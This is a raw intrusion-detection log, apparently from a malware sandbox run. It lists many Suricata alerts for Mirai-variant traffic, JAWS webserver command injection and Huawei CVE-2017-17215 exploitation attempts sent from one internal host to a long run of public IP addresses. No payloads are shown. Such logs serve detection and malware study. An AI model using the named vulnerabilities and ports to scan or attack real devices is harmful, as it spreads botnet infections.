              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43054 -> 45.93.92.23:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33214 -> 175.204.245.90:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33214 -> 175.204.245.90:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59722 -> 156.245.131.47:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54632 -> 197.232.110.55:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34284 -> 13.67.141.213:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34284 -> 13.67.141.213:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53654 -> 197.221.101.29:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49254 -> 50.3.239.91:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49254 -> 50.3.239.91:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44330 -> 38.153.191.124:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44330 -> 38.153.191.124:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38240 -> 205.42.223.76:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57792 -> 102.72.235.212:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57792 -> 102.72.235.212:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38240 -> 205.42.223.76:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39842 -> 89.7.20.131:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39842 -> 89.7.20.131:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34932 -> 104.171.23.145:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34534 -> 51.51.22.8:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34932 -> 104.171.23.145:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34534 -> 51.51.22.8:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56488 -> 95.67.114.253:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56488 -> 95.67.114.253:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49530 -> 188.243.47.249:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49530 -> 188.243.47.249:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45274 -> 146.132.188.166:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45274 -> 146.132.188.166:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42056 -> 222.216.121.162:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42056 -> 222.216.121.162:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53526 -> 153.112.177.229:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35888 -> 53.132.117.184:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53526 -> 153.112.177.229:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55950 -> 198.29.2.103:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55950 -> 198.29.2.103:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35888 -> 53.132.117.184:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50114 -> 120.173.20.194:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50114 -> 120.173.20.194:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37062 -> 178.209.10.75:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37062 -> 178.209.10.75:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47602 -> 101.46.179.16:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47602 -> 101.46.179.16:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50594 -> 219.135.74.124:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50594 -> 219.135.74.124:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54802 -> 131.246.4.63:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54802 -> 131.246.4.63:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55162 -> 144.38.20.0:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55162 -> 144.38.20.0:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44620 -> 45.40.116.252:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44620 -> 45.40.116.252:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49344 -> 129.100.184.223:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49344 -> 129.100.184.223:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40424 -> 179.151.244.139:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34024 -> 51.255.125.138:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34024 -> 51.255.125.138:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32818 -> 12.128.53.10:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40424 -> 179.151.244.139:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57244 -> 220.191.45.226:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57612 -> 71.139.246.174:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34882 -> 131.92.253.181:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34882 -> 131.92.253.181:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57244 -> 220.191.45.226:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57612 -> 71.139.246.174:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55784 -> 9.156.190.104:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52898 -> 52.109.45.182:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52898 -> 52.109.45.182:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44466 -> 79.244.180.207:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44466 -> 79.244.180.207:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55784 -> 9.156.190.104:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34724 -> 175.139.215.108:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34724 -> 175.139.215.108:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58542 -> 152.243.171.49:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48408 -> 211.227.175.197:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48408 -> 211.227.175.197:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58542 -> 152.243.171.49:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32818 -> 12.128.53.10:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44054 -> 52.59.102.77:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44054 -> 52.59.102.77:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34928 -> 184.86.41.56:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34928 -> 184.86.41.56:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48428 -> 126.128.117.174:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48428 -> 126.128.117.174:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52678 -> 83.51.41.144:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41164 -> 180.109.221.172:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52678 -> 83.51.41.144:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41164 -> 180.109.221.172:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55066 -> 176.205.213.17:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35072 -> 177.225.31.244:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55066 -> 176.205.213.17:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40288 -> 103.214.187.227:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60554 -> 146.197.93.177:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35072 -> 177.225.31.244:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60554 -> 146.197.93.177:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47196 -> 161.47.72.130:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46746 -> 175.217.230.70:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46746 -> 175.217.230.70:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47196 -> 161.47.72.130:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55712 -> 146.160.159.128:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55712 -> 146.160.159.128:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56698 -> 193.187.119.1:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56698 -> 193.187.119.1:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33716 -> 219.25.117.201:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33716 -> 219.25.117.201:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40288 -> 103.214.187.227:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42634 -> 159.198.67.110:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42634 -> 159.198.67.110:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55344 -> 111.129.118.141:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55344 -> 111.129.118.141:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46556 -> 136.180.192.64:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46556 -> 136.180.192.64:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56630 -> 89.106.217.241:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56630 -> 89.106.217.241:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43422 -> 20.223.0.235:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39812 -> 14.2.153.102:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43422 -> 20.223.0.235:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39812 -> 14.2.153.102:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53122 -> 170.152.121.169:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53122 -> 170.152.121.169:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44250 -> 176.88.220.123:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44250 -> 176.88.220.123:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55264 -> 197.25.172.124:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58794 -> 197.57.240.239:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57276 -> 156.124.55.110:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57190 -> 204.71.210.36:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33594 -> 197.184.110.72:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59074 -> 155.203.22.126:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59074 -> 155.203.22.126:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:32914 -> 156.73.199.208:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57190 -> 204.71.210.36:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58128 -> 192.62.46.240:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58128 -> 192.62.46.240:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58900 -> 181.16.202.67:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58900 -> 181.16.202.67:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60642 -> 65.196.231.131:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60642 -> 65.196.231.131:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50374 -> 118.211.183.67:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48110 -> 75.96.152.124:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48110 -> 75.96.152.124:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50374 -> 118.211.183.67:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60744 -> 80.213.14.165:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60744 -> 80.213.14.165:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48388 -> 216.45.248.172:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48388 -> 216.45.248.172:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41142 -> 105.208.107.220:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41142 -> 105.208.107.220:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42638 -> 177.95.70.145:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42638 -> 177.95.70.145:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44924 -> 137.96.172.137:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36340 -> 88.109.144.121:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44924 -> 137.96.172.137:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57340 -> 186.45.45.229:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57340 -> 186.45.45.229:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41418 -> 84.171.71.67:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41418 -> 84.171.71.67:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46408 -> 107.254.158.162:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46408 -> 107.254.158.162:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54912 -> 158.229.16.172:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54912 -> 158.229.16.172:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36340 -> 88.109.144.121:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35012 -> 116.59.162.85:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35012 -> 116.59.162.85:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47328 -> 14.201.184.218:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47328 -> 14.201.184.218:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36494 -> 199.96.168.179:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36494 -> 199.96.168.179:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40216 -> 149.214.222.91:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40216 -> 149.214.222.91:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47168 -> 156.224.237.85:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50796 -> 156.213.87.168:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56492 -> 41.50.74.64:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57816 -> 156.242.231.165:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53784 -> 197.5.80.25:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46904 -> 134.104.83.77:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46904 -> 134.104.83.77:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44118 -> 154.175.128.164:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44118 -> 154.175.128.164:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46674 -> 41.174.160.8:37215
